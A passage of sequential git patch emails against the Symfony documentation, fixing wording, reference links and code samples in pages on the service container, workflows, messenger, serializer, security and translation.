n-valverde <64469669+n-valverde@users.noreply.github.com> Date: Sat, 17 Feb 2024 10:52:22 +0100 Subject: [PATCH 362/615] Update service_container.rst --- service_container.rst | 23 ++++++++++++++--------- 1 file changed, 14 insertions(+), 9 deletions(-) diff --git a/service_container.rst b/service_container.rst index 569f549990b..1afc59189ed 100644 --- a/service_container.rst +++ b/service_container.rst @@ -1035,20 +1035,25 @@ to them. Linting Service Definitions --------------------------- -The ``lint:container`` command checks that the arguments injected into services -match their type declarations. It's useful to run it before deploying your -application to production (e.g. in your continuous integration server): +The ``lint:container`` command performs some additional checks to make sure +the container is properly configured: +* ensures the arguments injected into services match their type declarations. +* ensures the interfaces configured as alias are resolving to a compatible +service. +It's useful to run it before deploying your application to production +(e.g. in your continuous integration server): .. code-block:: terminal $ php bin/console lint:container -Checking the types of all service arguments whenever the container is compiled -can hurt performance. That's why this type checking is implemented in a -:doc:`compiler pass </service_container/compiler_passes>` called -``CheckTypeDeclarationsPass`` which is disabled by default and enabled only when -executing the ``lint:container`` command. If you don't mind the performance -loss, enable the compiler pass in your application. +Doing those checks whenever the container is compiled +can hurt performance. That's why this is implemented in +:doc:`compiler passes </service_container/compiler_passes>` called +``CheckTypeDeclarationsPass`` and ``CheckAliasValidityPass`` which are disabled +by default and enabled only when executing the ``lint:container`` command. +If you don't mind the performance loss, enable these compiler passes in +your application. .. _container-public: From e2a15ae1c200ad097f9fb246c0eda5ade815304d Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 9 Aug 2024 16:39:28 +0200 Subject: [PATCH 363/615] Minor tweaks --- service_container.rst | 25 ++++++++++++------------- 1 file changed, 12 insertions(+), 13 deletions(-) diff --git a/service_container.rst b/service_container.rst index aa7868cfdd7..b5d3f8c5b99 100644 --- a/service_container.rst +++ b/service_container.rst @@ -1035,26 +1035,25 @@ to them. Linting Service Definitions --------------------------- -The ``lint:container`` command performs some additional checks to make sure -the container is properly configured: -* ensures the arguments injected into services match their type declarations. -* ensures the interfaces configured as alias are resolving to a compatible -service. -It's useful to run it before deploying your application to production -(e.g. in your continuous integration server): +The ``lint:container`` command performs additional checks to ensure the container +is properly configured. It is useful to run this command before deploying your +application to production (e.g. in your continuous integration server): .. code-block:: terminal $ php bin/console lint:container -Doing those checks whenever the container is compiled -can hurt performance. That's why this is implemented in -:doc:`compiler passes </service_container/compiler_passes>` called -``CheckTypeDeclarationsPass`` and ``CheckAliasValidityPass`` which are disabled -by default and enabled only when executing the ``lint:container`` command. -If you don't mind the performance loss, enable these compiler passes in +Performing those checks whenever the container is compiled can hurt performance. +That's why they are implemented in :doc:`compiler passes </service_container/compiler_passes>` +called ``CheckTypeDeclarationsPass`` and ``CheckAliasValidityPass``, which are +disabled by default and enabled only when executing the ``lint:container`` command. +If you don't mind the performance loss, you can enable these compiler passes in your application. +.. versionadded:: 7.1 + + The ``CheckAliasValidityPass`` compiler pass was introduced in Symfony 7.1. + .. _container-public: Public Versus Private Services From d2fb31ff1f42bf2eaa95e35c5fa5cf355361b341 Mon Sep 17 00:00:00 2001 From: Alexis Lefebvre <alexislefebvre+github@gmail.com> Date: Sat, 10 Aug 2024 17:44:18 +0200 Subject: [PATCH 364/615] templates: check that a Twig extension does not already exist --- templates.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates.rst b/templates.rst index 33815a2b21a..9fefc066fe0 100644 --- a/templates.rst +++ b/templates.rst @@ -1430,7 +1430,7 @@ Writing a Twig Extension `Twig Extensions`_ allow the creation of custom functions, filters, and more to use in your Twig templates. Before writing your own Twig extension, check if -the filter/function that you need is already implemented in: +the filter/function that you need is not already implemented in: * The `default Twig filters and functions`_; * The :doc:`Twig filters and functions added by Symfony </reference/twig_reference>`; From 27a4f50cdae7f837bc9879d6062d31e47fc7443d Mon Sep 17 00:00:00 2001 From: Antoine M <amakdessi@me.com> Date: Mon, 12 Aug 2024 11:57:57 +0200 Subject: [PATCH 365/615] Update custom_authenticator.rst --- security/custom_authenticator.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst index 2259f9f0e08..cc8051f286e 100644 --- a/security/custom_authenticator.rst +++ b/security/custom_authenticator.rst @@ -37,12 +37,12 @@ method that fits most use-cases:: */ public function supports(Request $request): ?bool { - return $request->headers->has('X-AUTH-TOKEN'); + return $request->headers->has('auth-token'); } public function authenticate(Request $request): Passport { - $apiToken = $request->headers->get('X-AUTH-TOKEN'); + $apiToken = $request->headers->get('auth-token'); if (null === $apiToken) { // The token header was empty, authentication fails with HTTP Status // Code 401 "Unauthorized" From 4b3bb15f307c8da98fb8ed57b34d9ea221ab0d69 Mon Sep 17 00:00:00 2001 From: Wojciech Kania <wojciech.kania@gmail.com> Date: Mon, 12 Aug 2024 17:57:25 +0200 Subject: [PATCH 366/615] Add links for the better nav in the format specification refs --- reference/formats/expression_language.rst | 2 +- reference/formats/message_format.rst | 2 +- reference/formats/yaml.rst | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst index 6ab87e53a40..6d40683bfef 100644 --- a/reference/formats/expression_language.rst +++ b/reference/formats/expression_language.rst @@ -1,7 +1,7 @@ The Expression Syntax ===================== -The ExpressionLanguage component uses a specific syntax which is based on the +The :doc:`ExpressionLanguage component </components/expression_language>` uses a specific syntax which is based on the expression syntax of Twig. In this document, you can find all supported syntaxes. diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst index 5ebd5def049..af888b90c40 100644 --- a/reference/formats/message_format.rst +++ b/reference/formats/message_format.rst @@ -3,7 +3,7 @@ How to Translate Messages using the ICU MessageFormat Messages (i.e. strings) in applications are almost never completely static. They contain variables or other complex logic like pluralization. To -handle this, the Translator component supports the `ICU MessageFormat`_ syntax. +handle this, the :doc:`Translator component </translation>` supports the `ICU MessageFormat`_ syntax. .. tip:: diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst index 3c4bd104465..9c6b165a0c4 100644 --- a/reference/formats/yaml.rst +++ b/reference/formats/yaml.rst @@ -1,7 +1,7 @@ The YAML Format --------------- -The Symfony Yaml Component implements a selected subset of features defined in +The Symfony :doc:`Yaml Component </components/yaml>` implements a selected subset of features defined in the `YAML 1.2 version specification`_. Scalars From a2281d22413dc10f1f7ad3c1a17063a65250d956 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info> Date: Tue, 13 Aug 2024 17:03:35 +0200 Subject: [PATCH 367/615] [Workflow] Do to talk about workflow, and explain what support option is for --- components/workflow.rst | 18 --------------- workflow/workflow-and-state-machine.rst | 30 +++---------------------- 2 files changed, 3 insertions(+), 45 deletions(-) diff --git a/components/workflow.rst b/components/workflow.rst index 8ca201b0859..2e5e1eb0aa6 100644 --- a/components/workflow.rst +++ b/components/workflow.rst @@ -55,23 +55,6 @@ The ``Workflow`` can now help you to decide what *transitions* (actions) are all on a blog post depending on what *place* (state) it is in. This will keep your domain logic in one place and not spread all over your application. -When you define multiple workflows you should consider using a ``Registry``, -which is an object that stores and provides access to different workflows. -A registry will also help you to decide if a workflow supports the object you -are trying to use it with:: - - use Acme\Entity\BlogPost; - use Acme\Entity\Newsletter; - use Symfony\Component\Workflow\Registry; - use Symfony\Component\Workflow\SupportStrategy\InstanceOfSupportStrategy; - - $blogPostWorkflow = ...; - $newsletterWorkflow = ...; - - $registry = new Registry(); - $registry->addWorkflow($blogPostWorkflow, new InstanceOfSupportStrategy(BlogPost::class)); - $registry->addWorkflow($newsletterWorkflow, new InstanceOfSupportStrategy(Newsletter::class)); - Usage ----- @@ -100,7 +83,6 @@ method to initialize the object property:: // ... $blogPost = new BlogPost(); - $workflow = $registry->get($blogPost); // initiate workflow $workflow->getMarking($blogPost); diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst index 7d50cf0ac15..1d2ba6fcfc7 100644 --- a/workflow/workflow-and-state-machine.rst +++ b/workflow/workflow-and-state-machine.rst @@ -81,6 +81,7 @@ Below is the configuration for the pull request state machine. marking_store: type: 'method' property: 'currentPlace' + # The supports options is useful only if you are using twig functions ('workflow_*') supports: - App\Entity\PullRequest initial_marking: start @@ -132,6 +133,7 @@ Below is the configuration for the pull request state machine. <framework:property>currentPlace</framework:property> </framework:marking-store> + <!-- The supports options is useful only if you are using twig functions ('workflow_*') --> <framework:support>App\Entity\PullRequest</framework:support> <framework:initial_marking>start</framework:initial_marking> @@ -202,6 +204,7 @@ Below is the configuration for the pull request state machine. $pullRequest ->type('state_machine') + // The supports options is useful only if you are using twig functions ('workflow_*') ->supports(['App\Entity\PullRequest']) ->initialMarking(['start']); @@ -252,33 +255,6 @@ Below is the configuration for the pull request state machine. ->to(['review']); }; -In a Symfony application using the -:ref:`default services.yaml configuration <service-container-services-load-example>`, -you can get this state machine by injecting the Workflow registry service:: - - // ... - use App\Entity\PullRequest; - use Symfony\Component\Workflow\Registry; - - class SomeService - { - private $workflows; - - public function __construct(Registry $workflows) - { - $this->workflows = $workflows; - } - - public function someMethod(PullRequest $pullRequest) - { - $stateMachine = $this->workflows->get($pullRequest, 'pull_request'); - $stateMachine->apply($pullRequest, 'wait_for_review'); - // ... - } - - // ... - } - Symfony automatically creates a service for each workflow (:class:`Symfony\\Component\\Workflow\\Workflow`) or state machine (:class:`Symfony\\Component\\Workflow\\StateMachine`) you have defined in your configuration. This means that you can use ``workflow.pull_request`` From a1ece0dfce5beca535aba281b20354d3cf1a5010 Mon Sep 17 00:00:00 2001 From: lkolndeep <lkolndeep@protonmail.com> Date: Tue, 13 Aug 2024 18:56:17 +0200 Subject: [PATCH 368/615] Correction of a typo for a reference link --- messenger.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/messenger.rst b/messenger.rst index adbe8359743..f0cba6f6eb1 100644 --- a/messenger.rst +++ b/messenger.rst @@ -717,7 +717,7 @@ If you use the Redis Transport, note that each worker needs a unique consumer name to avoid the same message being handled by multiple workers. One way to achieve this is to set an environment variable in the Supervisor configuration file, which you can then refer to in ``messenger.yaml`` -(see the ref:`Redis section <messenger-redis-transport>` below): +(see the :ref:`Redis section <messenger-redis-transport>` below): .. code-block:: ini From 7a36ad35c3738f1da1b6e7fa7ea8062b23b5f7a9 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Fri, 16 Aug 2024 09:19:35 +0200 Subject: [PATCH 369/615] fix XML config example --- workflow/workflow-and-state-machine.rst | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst index 7d50cf0ac15..2f4425b935e 100644 --- a/workflow/workflow-and-state-machine.rst +++ b/workflow/workflow-and-state-machine.rst @@ -127,14 +127,11 @@ Below is the configuration for the pull request state machine. <framework:config> <framework:workflow name="pull_request" type="state_machine"> - <framework:marking-store> - <framework:type>method</framework:type> - <framework:property>currentPlace</framework:property> - </framework:marking-store> + <framework:initial-marking>start</framework:initial-marking> - <framework:support>App\Entity\PullRequest</framework:support> + <framework:marking-store type="method" property="currentPlace"/> - <framework:initial_marking>start</framework:initial_marking> + <framework:support>App\Entity\PullRequest</framework:support> <framework:place>start</framework:place> <framework:place>coding</framework:place> From 768ef5a217a6084cc4b2a017426d6335964ec047 Mon Sep 17 00:00:00 2001 From: matlec <mathieu.lechat@sensiolabs.com> Date: Fri, 16 Aug 2024 12:12:34 +0200 Subject: [PATCH 370/615] [Security] Remove note about stateless firewalls marking routes as stateless --- reference/configuration/security.rst | 7 ------- 1 file changed, 7 deletions(-) diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst index 154ef86f21f..d84d7a5d5b7 100644 --- a/reference/configuration/security.rst +++ b/reference/configuration/security.rst @@ -1075,13 +1075,6 @@ the session must not be used when authenticating users: // ... }; -Routes under this firewall will be :ref:`configured stateless <stateless-routing>` -when they are not explicitly configured stateless or not. - -.. versionadded:: 6.3 - - Stateless firewall marking routes stateless was introduced in Symfony 6.3. - User Checkers ~~~~~~~~~~~~~ From be7999ef3be6b79de03cd9bf18832f288933168d Mon Sep 17 00:00:00 2001 From: Wojciech Kania <wojciech.kania@gmail.com> Date: Wed, 14 Aug 2024 23:12:46 +0200 Subject: [PATCH 371/615] Add the missing note on how to inject a service into the controller --- controller.rst | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/controller.rst b/controller.rst index 7866a97818b..3194b6e46e4 100644 --- a/controller.rst +++ b/controller.rst @@ -178,7 +178,8 @@ These are used for rendering templates, sending emails, querying the database an any other "work" you can think of. If you need a service in a controller, type-hint an argument with its class -(or interface) name. Symfony will automatically pass you the service you need:: +(or interface) name. Symfony will automatically pass you the service you need. +Make sure your :doc:`controller is registered as a service </controller/service>`:: use Psr\Log\LoggerInterface; use Symfony\Component\HttpFoundation\Response; From 895248e876f29caa3b36191be4b6c1e0e907773d Mon Sep 17 00:00:00 2001 From: Antoine M <amakdessi@me.com> Date: Sat, 17 Aug 2024 17:31:32 +0200 Subject: [PATCH 372/615] fix comment --- messenger.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/messenger.rst b/messenger.rst index adbe8359743..38450ccb6b9 100644 --- a/messenger.rst +++ b/messenger.rst @@ -2283,8 +2283,8 @@ to your message:: public function index(MessageBusInterface $bus) { + // wait 5 seconds before processing $bus->dispatch(new SmsNotification('...'), [ - // wait 5 seconds before processing new DelayStamp(5000), ]); From 24076368c63d871ce07dd0b607fa539d6d79f6ea Mon Sep 17 00:00:00 2001 From: Javier Spagnoletti <phansys@gmail.com> Date: Tue, 20 Aug 2024 18:48:30 -0300 Subject: [PATCH 373/615] Fix `:ref:` links --- messenger.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/messenger.rst b/messenger.rst index 7e26cb9b4da..4cfa6778279 100644 --- a/messenger.rst +++ b/messenger.rst @@ -747,7 +747,7 @@ If you use the Redis Transport, note that each worker needs a unique consumer name to avoid the same message being handled by multiple workers. One way to achieve this is to set an environment variable in the Supervisor configuration file, which you can then refer to in ``messenger.yaml`` -(see the ref:`Redis section <messenger-redis-transport>` below): +(see the :ref:`Redis section <messenger-redis-transport>` below): .. code-block:: ini From 309141a964efebc66a6cf3de939cf89e19ea3ad8 Mon Sep 17 00:00:00 2001 From: Vincent Chareunphol <vincent@devoji.com> Date: Wed, 21 Aug 2024 15:30:49 +0200 Subject: [PATCH 374/615] [Config] Match Yaml configuration and Tree --- components/config/definition.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/config/definition.rst b/components/config/definition.rst index 437c93322d6..c076838d1f9 100644 --- a/components/config/definition.rst +++ b/components/config/definition.rst @@ -81,7 +81,7 @@ reflect the real structure of the configuration values:: ->defaultTrue() ->end() ->scalarNode('default_connection') - ->defaultValue('default') + ->defaultValue('mysql') ->end() ->end() ; From 3ee2daea7a4852f49c52d12812b233ae5a65f014 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Thu, 22 Aug 2024 09:19:19 +0200 Subject: [PATCH 375/615] fix ref syntax --- components/expression_language.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/expression_language.rst b/components/expression_language.rst index 46795b18b66..eeababaf373 100644 --- a/components/expression_language.rst +++ b/components/expression_language.rst @@ -82,7 +82,7 @@ Null Coalescing Operator .. note:: - This content has been moved to the ref:`null coalescing operator <component-expression-null-coalescing-operator>`_ + This content has been moved to the :ref:`null coalescing operator <component-expression-null-coalescing-operator>` section of ExpressionLanguage syntax reference page. Parsing and Linting Expressions From 301087b90eb6c04d7cc8a19d1f07a6bb28ac6f1f Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Thu, 22 Aug 2024 13:39:17 +0200 Subject: [PATCH 376/615] complete list of support content types --- reference/configuration/security.rst | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst index 771054d9d12..cf1f16b3c21 100644 --- a/reference/configuration/security.rst +++ b/reference/configuration/security.rst @@ -350,10 +350,10 @@ form_only **type**: ``boolean`` **default**: ``false`` Set this option to ``true`` to require that the login data is sent using a form -(it checks that the request content-type is ``application/x-www-form-urlencoded``). -This is useful for example to prevent the :ref:`form login authenticator <security-form-login>` -from responding to requests that should be handled by the -:ref:`JSON login authenticator <security-json-login>`. +(it checks that the request content-type is ``application/x-www-form-urlencoded`` +or ``multipart/form-data``) This is useful for example to prevent the. +:ref:`form login authenticator <security-form-login>` from responding to +requests that should be handled by the :ref:`JSON login authenticator <security-json-login>`. .. versionadded:: 5.4 From acaba63ebe173a6fd689caa5603e5b3098a5375c Mon Sep 17 00:00:00 2001 From: lkolndeep <lkolndeep@protonmail.com> Date: Thu, 22 Aug 2024 19:45:49 +0200 Subject: [PATCH 377/615] [Serializer] Correction of examples using the attributes groups --- components/serializer.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/components/serializer.rst b/components/serializer.rst index bbf31afacf8..03822eb4a68 100644 --- a/components/serializer.rst +++ b/components/serializer.rst @@ -404,7 +404,7 @@ You are now able to serialize only attributes in the groups you want:: $obj2 = $serializer->denormalize( ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'], - 'MyObj', + MyObj::class, null, ['groups' => ['group1', 'group3']] ); @@ -413,7 +413,7 @@ You are now able to serialize only attributes in the groups you want:: // To get all groups, use the special value `*` in `groups` $obj3 = $serializer->denormalize( ['foo' => 'foo', 'anotherProperty' => 'anotherProperty', 'bar' => 'bar'], - 'MyObj', + MyObj::class, null, ['groups' => ['*']] ); From 5203772b4e048560165a06428b8b5062cfe2a66d Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Thu, 22 Aug 2024 07:54:34 +0200 Subject: [PATCH 378/615] [Translation] Add labels for links in translations page --- translation.rst | 31 ++++++++++++++++--------------- 1 file changed, 16 insertions(+), 15 deletions(-) diff --git a/translation.rst b/translation.rst index 1d43c3b2b1c..15c34460d86 100644 --- a/translation.rst +++ b/translation.rst @@ -33,8 +33,8 @@ The translation process has several steps: #. :ref:`Enable and configure <translation-configuration>` Symfony's translation service; -#. Abstract strings (i.e. "messages") by wrapping them in calls to the - ``Translator`` (":ref:`translation-basic`"); +#. Abstract strings (i.e. "messages") by :ref:`wrapping them in calls + <translation-basic>` to the ``Translator``; #. :ref:`Create translation resources/files <translation-resources>` for each supported locale that translate each message in the application; @@ -164,8 +164,8 @@ different formats: 'Symfony is great' => "J'aime Symfony", ]; -For information on where these files should be located, see -:ref:`translation-resource-locations`. +You can find more information on where these files +:ref:`should be located <translation-resource-locations>`. Now, if the language of the user's locale is French (e.g. ``fr_FR`` or ``fr_BE``), the message will be translated into ``J'aime Symfony``. You can also translate @@ -251,8 +251,8 @@ To actually translate the message, Symfony uses the following process when using the ``trans()`` method: #. The ``locale`` of the current user, which is stored on the request is - determined; this is typically set via a ``_locale`` attribute on your routes - (see :ref:`translation-locale-url`); + determined; this is typically set via a ``_locale`` :ref:`attribute on + your routes <translation-locale-url>`; #. A catalog of translated messages is loaded from translation resources defined for the ``locale`` (e.g. ``fr_FR``). Messages from the @@ -452,8 +452,8 @@ The ``translation:extract`` command looks for missing translations in: * Any PHP file/class that injects or :doc:`autowires </service_container/autowiring>` the ``translator`` service and makes calls to the ``trans()`` method. * Any PHP file/class stored in the ``src/`` directory that creates - :ref:`translatable-objects` using the constructor or the ``t()`` method or calls - the ``trans()`` method. + :ref:`translatable objects <translatable-objects>` using the constructor or + the ``t()`` method or calls the ``trans()`` method. .. versionadded:: 5.3 @@ -1054,10 +1054,10 @@ unused translation messages templates: .. caution:: The extractors can't find messages translated outside templates (like form - labels or controllers) unless using :ref:`translatable-objects` or calling - the ``trans()`` method on a translator (since Symfony 5.3). Dynamic - translations using variables or expressions in templates are not - detected either: + labels or controllers) unless using :ref:`translatable objects + <translatable-objects>` or calling the ``trans()`` method on a translator + (since Symfony 5.3). Dynamic translations using variables or expressions in + templates are not detected either: .. code-block:: twig @@ -1066,9 +1066,10 @@ unused translation messages templates: {{ message|trans }} Suppose your application's default_locale is ``fr`` and you have configured -``en`` as the fallback locale (see :ref:`translation-configuration` and -:ref:`translation-fallback` for how to configure these). And suppose -you've already setup some translations for the ``fr`` locale: +``en`` as the fallback locale (see :ref:`configuration +<translation-configuration>` and :ref:`fallback <translation-fallback>` for +how to configure these). And suppose you've already set up some translations +for the ``fr`` locale: .. configuration-block:: From cba78d5114c8f0827908cea675f399ae863f5d9a Mon Sep 17 00:00:00 2001 From: eltharin <eltharin18@hotmail.fr> Date: Thu, 22 Aug 2024 11:41:58 +0200 Subject: [PATCH 379/615] just nullable --- components/serializer.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/components/serializer.rst b/components/serializer.rst index 0e8af7814f3..43ed69f3307 100644 --- a/components/serializer.rst +++ b/components/serializer.rst @@ -1500,7 +1500,7 @@ having unique identifiers:: $encoder = new JsonEncoder(); $defaultContext = [ - AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, string $format, array $context): string { + AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, ?string $format, array $context): string { return $object->getName(); }, ]; From fae9a57bfacff5a4aeb0ec105d605c63180bd8d8 Mon Sep 17 00:00:00 2001 From: Tac Tacelosky <tacman@gmail.com> Date: Fri, 23 Aug 2024 12:06:09 -0400 Subject: [PATCH 380/615] adding missing 'private' --- security.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security.rst b/security.rst index 7e1b9a47381..1928dd29035 100644 --- a/security.rst +++ b/security.rst @@ -2620,7 +2620,7 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro class SalesReportManager { + public function __construct( - + Security $security, + + private Security $security, + ) { + } From 3362875c29f4d30d462ed338438e284c044e9e17 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 26 Aug 2024 09:05:45 +0200 Subject: [PATCH 381/615] Minor reword --- controller.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/controller.rst b/controller.rst index 3194b6e46e4..d4f7f99d43d 100644 --- a/controller.rst +++ b/controller.rst @@ -178,8 +178,8 @@ These are used for rendering templates, sending emails, querying the database an any other "work" you can think of. If you need a service in a controller, type-hint an argument with its class -(or interface) name. Symfony will automatically pass you the service you need. -Make sure your :doc:`controller is registered as a service </controller/service>`:: +(or interface) name and Symfony will inject it automatically. This requires +your :doc:`controller to be registered as a service </controller/service>`:: use Psr\Log\LoggerInterface; use Symfony\Component\HttpFoundation\Response; From d0f46a2ec6a29366c1745a29700ce0c18b12b47a Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Mon, 26 Aug 2024 09:32:13 +0200 Subject: [PATCH 382/615] add missing use statement --- components/serializer.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/components/serializer.rst b/components/serializer.rst index 03822eb4a68..43bcc240e57 100644 --- a/components/serializer.rst +++ b/components/serializer.rst @@ -388,6 +388,7 @@ Then, create your groups definition: You are now able to serialize only attributes in the groups you want:: + use Acme\MyObj; use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; use Symfony\Component\Serializer\Serializer; From 728f2ed2775c257af97335f941eee4ddab835996 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 26 Aug 2024 10:38:49 +0200 Subject: [PATCH 383/615] Minor fix --- reference/configuration/security.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst index cf1f16b3c21..a859c2fd239 100644 --- a/reference/configuration/security.rst +++ b/reference/configuration/security.rst @@ -351,7 +351,7 @@ form_only Set this option to ``true`` to require that the login data is sent using a form (it checks that the request content-type is ``application/x-www-form-urlencoded`` -or ``multipart/form-data``) This is useful for example to prevent the. +or ``multipart/form-data``). This is useful for example to prevent the :ref:`form login authenticator <security-form-login>` from responding to requests that should be handled by the :ref:`JSON login authenticator <security-json-login>`. From f0e8ad51198e766b7e69841afbb5628fc4becdbd Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 26 Aug 2024 12:03:22 +0200 Subject: [PATCH 384/615] Minor reformatting --- reference/formats/expression_language.rst | 6 +++--- reference/formats/message_format.rst | 3 ++- reference/formats/yaml.rst | 4 ++-- 3 files changed, 7 insertions(+), 6 deletions(-) diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst index 6d40683bfef..82c30d2ec49 100644 --- a/reference/formats/expression_language.rst +++ b/reference/formats/expression_language.rst @@ -1,9 +1,9 @@ The Expression Syntax ===================== -The :doc:`ExpressionLanguage component </components/expression_language>` uses a specific syntax which is based on the -expression syntax of Twig. In this document, you can find all supported -syntaxes. +The :doc:`ExpressionLanguage component </components/expression_language>` uses a +specific syntax which is based on the expression syntax of Twig. In this document, +you can find all supported syntaxes. Supported Literals ------------------ diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst index af888b90c40..2a694ed45d2 100644 --- a/reference/formats/message_format.rst +++ b/reference/formats/message_format.rst @@ -3,7 +3,8 @@ How to Translate Messages using the ICU MessageFormat Messages (i.e. strings) in applications are almost never completely static. They contain variables or other complex logic like pluralization. To -handle this, the :doc:`Translator component </translation>` supports the `ICU MessageFormat`_ syntax. +handle this, the :doc:`Translator component </translation>` supports the +`ICU MessageFormat`_ syntax. .. tip:: diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst index 9c6b165a0c4..cd55ab6dd9b 100644 --- a/reference/formats/yaml.rst +++ b/reference/formats/yaml.rst @@ -1,8 +1,8 @@ The YAML Format --------------- -The Symfony :doc:`Yaml Component </components/yaml>` implements a selected subset of features defined in -the `YAML 1.2 version specification`_. +The Symfony :doc:`Yaml Component </components/yaml>` implements a selected subset +of features defined in the `YAML 1.2 version specification`_. Scalars ~~~~~~~ From 2ffd01615208de3858f1ee9bf19e20efb3b8efff Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 26 Aug 2024 15:01:21 +0200 Subject: [PATCH 385/615] Minor tweaks --- workflow/workflow-and-state-machine.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst index c8487e60fb9..14ab7d0320a 100644 --- a/workflow/workflow-and-state-machine.rst +++ b/workflow/workflow-and-state-machine.rst @@ -81,7 +81,7 @@ Below is the configuration for the pull request state machine. marking_store: type: 'method' property: 'currentPlace' - # The supports options is useful only if you are using twig functions ('workflow_*') + # The "supports" option is useful only if you are using Twig functions ('workflow_*') supports: - App\Entity\PullRequest initial_marking: start @@ -132,7 +132,7 @@ Below is the configuration for the pull request state machine. <framework:marking-store type="method" property="currentPlace"/> - <!-- The supports options is useful only if you are using twig functions ('workflow_*') --> + <!-- The "supports" option is useful only if you are using Twig functions ('workflow_*') --> <framework:support>App\Entity\PullRequest</framework:support> <framework:place>start</framework:place> @@ -201,7 +201,7 @@ Below is the configuration for the pull request state machine. $pullRequest ->type('state_machine') - // The supports options is useful only if you are using twig functions ('workflow_*') + // The "supports" option is useful only if you are using Twig functions ('workflow_*') ->supports(['App\Entity\PullRequest']) ->initialMarking(['start']); From 1666a1cca8e44283fb397ee4d73c7e17a28b96b9 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 26 Aug 2024 16:38:32 +0200 Subject: [PATCH 386/615] Minor tweak --- security/custom_authenticator.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst index cc8051f286e..c40765e9a8a 100644 --- a/security/custom_authenticator.rst +++ b/security/custom_authenticator.rst @@ -37,6 +37,7 @@ method that fits most use-cases:: */ public function supports(Request $request): ?bool { + // "auth_token" is an example of a custom, non-standard HTTP header used in this application return $request->headers->has('auth-token'); } From c58aea4dd09030c98d26ef74f5cd75b47d2f5400 Mon Sep 17 00:00:00 2001 From: Thibaut THOUEMENT <thouement.t@outlook.fr> Date: Fri, 23 Aug 2024 17:37:54 +0200 Subject: [PATCH 387/615] Fix #20080 --- components/serializer.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/components/serializer.rst b/components/serializer.rst index 43bcc240e57..0da80f10e0e 100644 --- a/components/serializer.rst +++ b/components/serializer.rst @@ -799,8 +799,8 @@ When serializing, you can set a callback to format a specific object property:: $encoder = new JsonEncoder(); // all callback parameters are optional (you can omit the ones you don't use) - $dateCallback = function ($innerObject, $outerObject, string $attributeName, ?string $format = null, array $context = []) { - return $innerObject instanceof \DateTime ? $innerObject->format(\DateTime::ATOM) : ''; + $dateCallback = function ($attributeValue, $object, string $attributeName, ?string $format = null, array $context = []) { + return $attributeValue instanceof \DateTime ? $attributeValue->format(\DateTime::ATOM) : ''; }; $defaultContext = [ From 86a4de5cdf76e92eeec79d3263683083aa32992e Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 27 Aug 2024 09:11:39 +0200 Subject: [PATCH 388/615] Reword --- profiler.rst | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/profiler.rst b/profiler.rst index eb4ee5d8a0e..e894cb644d1 100644 --- a/profiler.rst 